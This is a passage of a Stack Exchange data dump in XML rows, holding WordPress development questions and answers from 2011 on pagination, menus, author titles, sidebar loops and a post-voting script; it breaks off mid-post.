  <row Id="14514" PostTypeId="2" ParentId="14502" CreationDate="2011-04-11T19:24:49.807" Score="1" ViewCount="" Body="&lt;p&gt;try with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;get_adjacent_post()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$current_post = $post; // remember the current post&#xA;&#xA;for($i = 1; $i &amp;lt;= 3; $i++):&#xA;  $post = get_previous_post(); // this uses $post-&amp;gt;ID&#xA;  setup_postdata($post);&#xA;&#xA;  // do your stuff here       &#xA;  the_title();&#xA;&#xA;endfor;&#xA;$post = $current_post; // restore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;same for next 3 posts, just change the function to get_next_post()...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-11T19:24:49.807" CommentCount="3" />
  <row Id="14516" PostTypeId="2" ParentId="13234" CreationDate="2011-04-11T20:00:06.763" Score="1" ViewCount="" Body="&lt;p&gt;You can specify either &lt;code&gt;paged&lt;/code&gt; for simple pagination, or &lt;code&gt;offset&lt;/code&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/questions/194/how-to-show-a-single-post-on-the-front-page-but-have-normal-paging&quot;&gt;if you want to do something special&lt;/a&gt;. Calculating the offset yourself is easy: just multiply the current page number (minus two) with the number of posts per page, and add your start offset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$posts_per_page = get_option( 'posts_per_page' ),&#xA;$additional_loop = new WP_Query( array(&#xA;    'offset' =&amp;gt; ( $paged - 2 ) * $posts_per_page + 5,&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see you use &lt;code&gt;wp_paginate()&lt;/code&gt;, but this function does not know you are using an additional query and &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-paginate/tags/1.2.3/wp-paginate.php#L112&quot; rel=&quot;nofollow&quot;&gt;will read the global &lt;code&gt;$wp_query&lt;/code&gt; object&lt;/a&gt; to get the current page and total number of pages, unless you pass these values yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_paginate( array(&#xA;    'range' =&amp;gt; 4,&#xA;    'anchor' =&amp;gt; 2,&#xA;    'nextpage' =&amp;gt; 'Next',&#xA;    'previouspage' =&amp;gt; 'Previous',&#xA;    'page' =&amp;gt; $paged,&#xA;    'pages' =&amp;gt; intval( ceil( $additional_loop-&amp;gt;found_posts / $posts_per_page ) ),&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an additional loop, so there still is a &quot;normal&quot; loop on this page? Watch out that this will not confuse pagination, because WordPress will also try to paginate that loop and return a 404 if it is exhausted - which may be before you reach the last page. Try to do pagination only in the main loop, with the &lt;code&gt;pre_get_posts&lt;/code&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-11T20:00:06.763" />
  <row Id="14517" PostTypeId="1" AcceptedAnswerId="14518" CreationDate="2011-04-11T20:14:44.620" Score="1" ViewCount="48" Body="&lt;p&gt;I'm trying to add an image in my CSS with the theme folder code, &lt;code&gt;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;&lt;/code&gt;, which works in HTML but for some reason it's not working in the CSS. Does anyone know why or a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;background: url(&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/bg.jpg&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2770" LastActivityDate="2011-04-11T20:24:30.620" Title="I'm trying to add an image in my CSS" Tags="&lt;themes&gt;&lt;images&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="14518" PostTypeId="2" ParentId="14517" CreationDate="2011-04-11T20:24:30.620" Score="2" ViewCount="" Body="&lt;p&gt;That's because php code inside a CSS file is not parsed unless you configure your server to. Just use it as a relative path to the image (as per the CSS file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;background: url(&quot;images/bg.jpg&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-11T20:24:30.620" CommentCount="1" />
  <row Id="14519" PostTypeId="1" CreationDate="2011-04-11T20:35:58.910" Score="2" ViewCount="71" Body="&lt;p&gt;We're running 3.1.1 multi-user with the latest BuddyPress plugin, but we're having all sorts of issues with splog signups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, we've started using &lt;a href=&quot;http://premium.wpmudev.org/project/anti-splog&quot; rel=&quot;nofollow&quot;&gt;Anti-Splog&lt;/a&gt;, Bad Behavior, ReCaptcha on the signup page and have changed our .htaccess as &lt;a href=&quot;http://www.darcynorman.net/2010/10/05/stopping-splogs-the-nuclear-option/&quot; rel=&quot;nofollow&quot;&gt;described here&lt;/a&gt; and elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is manually spotting and removing them a fact of life with open registration or are we missing something else that could help?&lt;/p&gt;&#xA;" OwnerUserId="4599" LastActivityDate="2011-08-21T09:32:58.167" Title="What methods should be used to fend off splogs in a multiuser install?" Tags="&lt;multisite&gt;&lt;buddypress&gt;&lt;spam&gt;" AnswerCount="2" />
  <row Id="14520" PostTypeId="1" AcceptedAnswerId="14522" CreationDate="2011-04-11T20:38:49.867" Score="1" ViewCount="62" Body="&lt;p&gt;I have a main menu where I display pages. All the pages have associated sub-pages, however in the menu some of them are displayed by themselves without sub-pages and some are displayed with a submenu as a list of all sub-pages. The pages in the menu are sorted according to the menu order specified for them. (Please see my code below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I would like to add some categories at a specific place in the menu and not sure how to better do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do it using wp_list_pages? What I like about my code is that whenever a subpage is added for a parent page that programmed to display all subpages, the newly added subpage will automatically appear in the site's menu. As opposite to using Appearance-&gt;Menu functionality where a user will need to add a newly created subpage to the menu before it will appear on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be easily over complicating it(!) and the only way to do it is via Appearance-&gt;Menu functionality. I would really appreciate any help and tips!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I use to display pages, some with all the sub-pages and some only at the top level.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//main nav: use wp_list_pages to display cirtain parent pages without any and with all child pages (a tree with parent)&#xA;$parents = array(5,7,17,61,19,25);&#xA;$children = array();&#xA;foreach($parents as $parent) {&#xA;  $child_pages = get_pages( &quot;child_of=$parent&quot; );&#xA;  if($child_pages){&#xA;    foreach($child_pages as $child_page){&#xA;      $children[] = $child_page-&amp;gt;ID;&#xA;    }&#xA;  }&#xA;}&#xA;//add all the pages that need to be included without children&#xA;$parents = array_merge( (array)$parents, (array)array(31,23) );&#xA;//merge $parents and $children&#xA;$menu_pages = array_merge( (array)$parents, (array)$children );&#xA;$menu_pages_str = implode(&quot;,&quot;, $menu_pages); &#xA;?&amp;gt; &#xA;&#xA;&amp;lt;ul class=&quot;menu wrap&quot;&amp;gt;&#xA;  &amp;lt;?php wp_list_pages( &quot;sort_column=menu_order&amp;amp;title_li=&amp;amp;include=$menu_pages_str&quot; ); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-04-11T22:37:33.420" Title="Add a specific category at a specific place to the menu that uses wp_list_pages" Tags="&lt;categories&gt;&lt;custom-menus&gt;&lt;pages&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14521" PostTypeId="2" ParentId="14444" CreationDate="2011-04-11T20:46:02.883" Score="1" ViewCount="" Body="&lt;p&gt;Post formats are hard-coded into WordPress.  You can't change them, but as JohnnyPea points out you can hide the existing name with a couple of tricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chip Bennett recommends setting up your own custom taxonomy if you really need to create your own set of post formats, and I strongly second that recommendation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But take a second to think about this.  Post formats are designed to help you style the output of your blog for the reader.  The reader doesn't care if it's called an Aside or a Quick, they just care how the post content is presented.  If you're just trying to change the post format label on the admin side for yourself, then please just roll your own custom taxonomy and use that.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-11T20:46:02.883" />
  <row Id="14522" PostTypeId="2" ParentId="14520" CreationDate="2011-04-11T22:37:33.420" Score="0" ViewCount="" Body="&lt;p&gt;wp_list_pages has limited functionality, and would be difficult to inject Categories into the mix without rewriting the function itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the built in Menu functionality is likely the best way to go, because you can at least set individual item classes, allowing you to create Menu headers for your top level categories (having the header items use a &quot;header&quot; class or similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be able to just use the get_pages() function, which will return an array of the pages instead of just printing them onto the page. This will allow you add logic to the display of the data when iterating through the array.&lt;/p&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2011-04-11T22:37:33.420" />
  <row Id="14523" PostTypeId="1" AcceptedAnswerId="14526" CreationDate="2011-04-11T22:55:22.403" Score="1" ViewCount="198" Body="&lt;p&gt;Why doesn't wp_title() display the author's name on an author archive as it does for a category or date archive? How can I hack this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;header.php calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php wp_title ( '|', true,'right' ); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my author.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;?php   &#xA;    $curauth = (isset($_GET['author_name'])) ? get_user_by('slug', $author_name) : get_userdata(intval($author));&#xA;    get_userdata(intval($author));&#xA;    function validate_gravatar($email) {&#xA;    // Craft a potential url and test its headers&#xA;    $hash = md5($email);&#xA;    $uri = 'http://www.gravatar.com/avatar/' . $hash . '?d=404';&#xA;    $headers = @get_headers($uri);&#xA;    if (!preg_match(&quot;|200|&quot;, $headers[0])) {&#xA;        $has_valid_avatar = FALSE;&#xA;    } else {&#xA;        $has_valid_avatar = TRUE;&#xA;    }&#xA;    return $has_valid_avatar;&#xA;}&#xA;$user_email = $curauth-&amp;gt;user_email;&#xA;$has_avatar = validate_gravatar($user_email);&#xA;?&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;div class=&quot;content-title&quot;&amp;gt;About &amp;lt;?php echo $curauth-&amp;gt;display_name; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;curauth&quot; class=&quot;post-content&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;avatar&quot;&amp;gt;&amp;lt;?php if($has_avatar) {echo get_avatar($curauth-&amp;gt;ID, 70);} ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php if ($curauth-&amp;gt;user_description) : ?&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;?php echo $curauth-&amp;gt;user_description; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;?php endif; &#xA;   if ($curauth-&amp;gt;user_url) : ?&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $curauth-&amp;gt;user_url; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $curauth-&amp;gt;user_url; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;?php endif; ?&amp;gt;&#xA;   &amp;lt;?php if (!$curauth-&amp;gt;user_description &amp;amp;&amp;amp; !$curauth-&amp;gt;user_url) : ?&amp;gt;&#xA;   &amp;lt;p&amp;gt;A riddle wrapped in a mystery inside an enigma...&amp;lt;/p&amp;gt;&#xA;   &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;content-title&quot;&amp;gt;Contact&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;curauth&quot; class=&quot;post-content&quot;&amp;gt;&#xA;  &amp;lt;?php echo do_shortcode( '[contact-form 1 &quot;Contact Author&quot;]' ); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;content-title&quot;&amp;gt;&#xA;  &amp;lt;?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?&amp;gt;&#xA;  &amp;lt;?php _e('Author Archive'); ?&amp;gt;&#xA;  &amp;lt;a href=&quot;javascript: void(0);&quot; id=&quot;mode&quot;&amp;lt;?php if ($_COOKIE['mode'] == 'grid') echo ' class=&quot;flip&quot;'; ?&amp;gt;&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;!-- The Loop --&amp;gt;&#xA;&amp;lt;?php get_template_part('loop'); ?&amp;gt;&#xA;&amp;lt;?php get_template_part('pagination'); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="4258" LastEditorDisplayName="" LastEditDate="2011-04-12T12:48:39.233" LastActivityDate="2011-04-13T15:55:17.283" Title="wp_title() handling of author page" Tags="&lt;page-template&gt;&lt;author&gt;&lt;functions&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="14524" PostTypeId="1" AcceptedAnswerId="14534" CreationDate="2011-04-11T23:01:38.717" Score="2" ViewCount="474" Body="&lt;p&gt;I'd like to make a grid view that can be used to list items with a thumbnail, a primary description heading, a subheading, and possibly pricing details. This will not necessarily be for eCommerce as initially there will be no shopping cart. Similar to a post, clicking on the item should take you to a full &quot;post&quot; for that item with more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an idea what I'm thinking, take a look here: &lt;a href=&quot;http://www.powerzoneequipment.com/inventory_search.asp?category=engines&quot; rel=&quot;nofollow&quot;&gt;http://www.powerzoneequipment.com/inventory_search.asp?category=engines&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's my questions:&lt;br&gt;&#xA;1) Does something like this already exist?&lt;br&gt;&#xA;2) What are the requirements to build something like this? Should it be a plugin combined with a custom theme that supports this? Or could this be done with a custom theme and a custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that what I'm asking might be functionality more typically found in something like Drupal. However, I'm curious how difficult it would be to get this type of display in Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="4576" LastEditorUserId="4576" LastEditorDisplayName="" LastEditDate="2011-04-11T23:53:38.900" LastActivityDate="2011-04-12T01:49:51.813" Title="How to Make a Custom Grid View" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="14525" PostTypeId="2" ParentId="14524" CreationDate="2011-04-11T23:04:33.300" Score="1" ViewCount="" Body="&lt;p&gt;Check out this tutorial:  &lt;a href=&quot;http://designm.ag/tutorials/jquery-display-switch/&quot; rel=&quot;nofollow&quot;&gt;http://designm.ag/tutorials/jquery-display-switch/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be integrated into WordPress fairly easily, as this theme demonstrates:&lt;br&gt;&#xA;&lt;a href=&quot;http://s51370.gridserver.com/x/&quot; rel=&quot;nofollow&quot;&gt;http://s51370.gridserver.com/x/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4600" LastActivityDate="2011-04-11T23:04:33.300" CommentCount="1" />
  <row Id="14526" PostTypeId="2" ParentId="14523" CreationDate="2011-04-11T23:32:10.617" Score="3" ViewCount="" Body="&lt;p&gt;I see my name in the title when viewing author pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/9DR6v.jpg&quot; width=&quot;450&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_title()&lt;/code&gt; runs this code during execution..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If there's an author&#xA;if ( is_author() ) {&#xA;    $author = get_queried_object();&#xA;    $title = $author-&amp;gt;display_name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps your author(s) don't have a display name set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally be sure to try disabling plugins that may be hooking a filter onto &lt;code&gt;wp_title&lt;/code&gt; and check your theme's function file for functions that hook on to...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-13T15:55:17.283" LastActivityDate="2011-04-13T15:55:17.283" CommentCount="9" />
  <row Id="14527" PostTypeId="1" CreationDate="2011-03-24T18:29:10.553" Score="0" ViewCount="70" Body="&lt;p&gt;I have a &lt;code&gt;category.php&lt;/code&gt; page which redirects users to a certain template page if the article in the output is in a category. However, I am seeing that if I have say 10 articles,and only one is in the special category, then it redirects. Is there a way to modify my code to only say &quot;if all of the posts are only in this special category then show the template&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else if (in_category('ontario-ohs-reform-alerts')) {    include(TEMPLATEPATH . '/ontario-ohs-reform-alerts.php'); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T07:59:23.213" LastActivityDate="2011-08-16T15:25:24.847" Title="How to tell if all posts are only in one category?" Tags="&lt;loop&gt;&lt;template-tags&gt;" AnswerCount="2" />
  <row Id="14528" PostTypeId="2" ParentId="14527" CreationDate="2011-04-11T23:59:25.843" Score="0" ViewCount="" Body="&lt;p&gt;The easiest way to do this would be to add your current logic into The Loop, and each time the post is in the &quot;special category&quot;, iterate a variable. If the variable reaches a certain number (10 in this case) then spawn the redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can iterate through the loop without displaying the content (using get_ instead of the_ functions), and store the values for each in an array. Once the loop is finished, you can add your redirect logic, and then run another foreach on the new array you've created for displaying the actual data.&lt;/p&gt;&#xA;" OwnerUserId="1769" LastEditorUserId="1769" LastEditorDisplayName="" LastEditDate="2011-05-17T13:18:20.083" LastActivityDate="2011-05-17T13:18:20.083" CommentCount="2" />
  <row Id="14529" PostTypeId="2" ParentId="14477" CreationDate="2011-04-12T00:16:15.003" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Do a database export to a .sql text file.  &lt;/li&gt;&#xA;&lt;li&gt;Do a find/replace in the text file for &lt;a href=&quot;http://www.olddomain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.olddomain.com&lt;/a&gt; and replace with &lt;a href=&quot;http://www.newdomain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.newdomain.com&lt;/a&gt;.  This will correct all the old settings across all your posts and options table.&lt;/li&gt;&#xA;&lt;li&gt;Import file in the new database / website you created.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="759" LastActivityDate="2011-04-12T00:16:15.003" />
  <row Id="14530" PostTypeId="1" CreationDate="2011-04-12T00:21:28.367" Score="0" ViewCount="80" Body="&lt;p&gt;Is there anyway to load the search results into a div in wordpress? I am currently searching a custom post type only and am searching from a small box that pops up in a fancybox. is there anyway to just have the search results load into that same box? iframe maybe?&lt;/p&gt;&#xA;" OwnerUserId="4602" LastActivityDate="2011-04-12T02:01:07.087" Title="Load search results into a div" Tags="&lt;search&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14531" PostTypeId="1" CreationDate="2011-04-12T00:26:51.420" Score="1" ViewCount="147" Body="&lt;p&gt;I'm using a loop in the sidebar of my site to show all the posts that are in that category.&#xA;Now I'd like to include a 'current_post' class to the current post that is being displayed to style that item in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried looking for conditional tags or this custom &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6333/adding-class-current-page-item-for-custom-post-type-menu&quot;&gt;wp_list_post_types function&lt;/a&gt; but both haven't worked.&#xA;Does anybody know if there's a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Adding Loop from comment below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach((get_the_category()) as $category) { &#xA;$postcat= $category-&amp;gt;cat_ID; &#xA;$catname =$category-&amp;gt;cat_name; } &#xA;$args = array( 'cat' =&amp;gt; $postcat ); &#xA;$my_query = new WP_Query(); &#xA;$my_query-&amp;gt;query($args); // Equivalent of query_posts()&#xA;&#xA;while($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); &#xA;$id=get_the_ID();   &#xA;$currentClass= ($post-&amp;gt;ID == $id) ? &quot;current_post&quot;: &quot;&quot;; ?&amp;gt;&#xA;&amp;lt;a class=&quot;&amp;lt;?php echo   $currentClass; ?&amp;gt;&quot; href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;ni&amp;lt;/a&amp;gt; &#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4567" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-12T23:30:11.933" LastActivityDate="2011-04-13T10:14:52.740" Title="Adding 'current_post_item' class to current post in the loop" Tags="&lt;loop&gt;&lt;sidebar&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="14532" PostTypeId="2" ParentId="14531" CreationDate="2011-04-12T01:23:18.290" Score="1" ViewCount="" Body="&lt;p&gt;If you are using a loop you should be able to do something like this it is untested but should work. Loop for sidebar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while( have_posts() ): the_post(); ?&amp;gt;&#xA;&amp;lt;?php while( have_posts() ): the_post(); ?&amp;gt;&#xA;&amp;lt;?php while( have_posts() ){ &#xA; $id=get_the_ID();&#xA; $currentClass= ($post-&amp;gt;ID == $id) ? &quot;current_post&quot;: &quot;&quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;div class=&quot;post &amp;lt;?php echo $currentClass; ?&amp;gt;&quot;&amp;gt;.....&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't tested so I'm sort of just assuming that &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; will get the ID of the post outside and &lt;code&gt;get_the_ID()&lt;/code&gt; will get the ID of the post inside the loop. If that doesn't work could you post your loop code and I'll do some test&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a few problems with your loop. One is that it's only grabbing the last category. I did a quick google search and found a soultion that seems to work on my test install &lt;a href=&quot;http://wordpress.org/support/topic/how-do-i-display-post-titles-from-current-category-and-highlight-active-post?replies=15#post-1055759&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will only show if they are on a Single post page. Otherwise bad things happen (IE duplicate post showing etc)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;$IDOutsideLoop = $post-&amp;gt;ID;&#xA;while( have_posts() ) {&#xA;    the_post();&#xA;if(is_single()){&#xA;    foreach( ( get_the_category() ) as $category )&#xA;        $my_query = new WP_Query('category_name=' . $category-&amp;gt;category_nicename . '&amp;amp;orderby=title&amp;amp;order=asc&amp;amp;showposts=100');&#xA;    if( $my_query ) {&#xA;        while ( $my_query-&amp;gt;have_posts() ) {&#xA;            $my_query-&amp;gt;the_post(); &#xA;                        $currentClass=( is_single() &amp;amp;&amp;amp; $IDOutsideLoop == $post-&amp;gt;ID ) ? ' class=&quot;current_post&quot;' : '';                    ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; &amp;lt;?php echo $currentClass ?&amp;gt;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;        }&#xA;    }&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2204" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-13T00:39:37.473" LastActivityDate="2011-04-13T00:39:37.473" CommentCount="3" />
  <row Id="14533" PostTypeId="1" AcceptedAnswerId="20905" CreationDate="2011-04-12T01:31:47.063" Score="3" ViewCount="116" Body="&lt;p&gt;&lt;a href=&quot;http://bavotasan.com/tutorials/simple-voting-for-wordpress-with-php-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;This simple tutorial&lt;/a&gt; teaches you how to make a voting counter using the post's meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to add down-votes to this small script (e.g. -1, -2).&#xA;In the following way: If the post has 0 votes and it gets down-voted, it ends up with -1. If the post has 1 vote and it is down-voted it ends up with 0 (only one counter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the jQuery part:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script( 'jquery' ) ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function() {&#xA;            jQuery(&quot;.vote a&quot;).click(&#xA;&#xA;            function() {&#xA;                var some = jQuery(this);&#xA;                var thepost = jQuery(this).attr(&quot;post&quot;);&#xA;                var theuser = jQuery(this).attr(&quot;user&quot;);&#xA;                jQuery.post(&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/vote.php&quot;, {&#xA;                    user: theuser,&#xA;                    post: thepost&#xA;                }, function(data) {&#xA;                    var votebox = &quot;.vote&quot; + thepost + &quot; span&quot;;&#xA;                    jQuery(votebox).text(data);&#xA;                    jQuery(some).replaceWith('&amp;lt;span class=&quot;voted&quot;&amp;gt;Voted&amp;lt;/span&amp;gt;');&#xA;                });&#xA;            });&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a member clicks on the vote link,&#xA;  the above code will get the post ID&#xA;  and the member’s user ID and send it&#xA;  to a file called vote.php using a post&#xA;  method. The vote.php file will perform&#xA;  everything we need to add the vote.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;vote.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$file = dirname(__FILE__);&#xA;$file = substr($file, 0, stripos($file, &quot;wp-content&quot;) );&#xA;&#xA;require( $file . &quot;/wp-load.php&quot;);&#xA;&#xA;$currentvotes = get_post_meta($_POST['post'], 'votes', true);&#xA;$currentvotes = $currentvotes + 1;&#xA;&#xA;$voters = get_post_meta($_POST['post'], 'thevoters', true);&#xA;if(!$voters) $voters = $_POST['user']; else $voters = $voters.&quot;,&quot;.$_POST['user'];&#xA;&#xA;update_post_meta($_POST['post'], 'votes', $currentvotes);&#xA;update_post_meta($_POST['post'], 'thevoters', $voters);&#xA;&#xA;echo $currentvotes;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once the information is posted to&#xA;  vote.php two custom fields are&#xA;  created. One to count the vote and one&#xA;  to add the voter to a list so that&#xA;  they can’t vote again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// voting function&#xA;function voting($id) {&#xA;global $user_ID;&#xA;$currentvotes = get_post_meta($id, 'votes', true);&#xA;$voters = get_post_meta($id, 'thevoters', true);&#xA;$voters = explode(&quot;,&quot;, $voters);&#xA;foreach($voters as $voter) {&#xA;    if($voter == $user_ID) $alreadyVoted = true;&#xA;}&#xA;&#xA;if(!$currentvotes) $currentvotes = 0;&#xA;echo '&amp;lt;div class=&quot;vote vote'.$id.'&quot;&amp;gt;&amp;lt;span&amp;gt;'.$currentvotes.'&amp;lt;/span&amp;gt;';&#xA;if($user_ID &amp;amp;&amp;amp; !$alreadyVoted) echo '&amp;lt;br /&amp;gt;&amp;lt;a post=&quot;'.$id.'&quot; user=&quot;'.$user_ID.'&quot;&amp;gt;'.__(&quot;Vote&quot;).'&amp;lt;/a&amp;gt;';&#xA;if($user_ID &amp;amp;&amp;amp; $alreadyVoted) echo 